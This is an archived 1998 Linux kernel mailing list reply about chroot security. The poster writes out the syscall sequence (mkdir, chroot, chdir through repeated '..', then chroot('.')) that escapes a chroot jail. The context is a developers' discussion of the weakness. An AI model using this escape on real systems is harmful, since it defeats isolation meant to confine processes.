lkml.org 
[lkml]   [1998]   [Apr]   [5]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: Security patch for /proc
On Thu, 2 Apr 1998, Jeremy Fitzhardinge wrote:

> Robert Bihlmeyer wrote:
> > Alan Cox wrote:
> > >> mkdir("x"); chroot("x"); chdir("../../../../../../../..");
> > >> chroot(".");
> > You tried it? One will escape from x with that.
>
> Well, one was never really captured. I didn't notice the missing chdir,
> but its well known behaviour that if you never chdir into a chroot jail,
> you can easily "escape".

You missed the point. You _are_ already in a chroot jail, this is how you
escape from it.

mkdir("foo"); chroot("foo"); chdir("foo");

# you are in the "jail" now

mkdir("x"); chroot("x"); chdir("../../../../../.."); chroot(".");

# no more jail...


Ionut

--
It is better to keep your mouth shut and be thought a fool,
than to open it and remove all doubt.


-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu

\
 
 \ /
  Last update: 2005-03-22 13:42    [W:0.073 / U:0.500 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site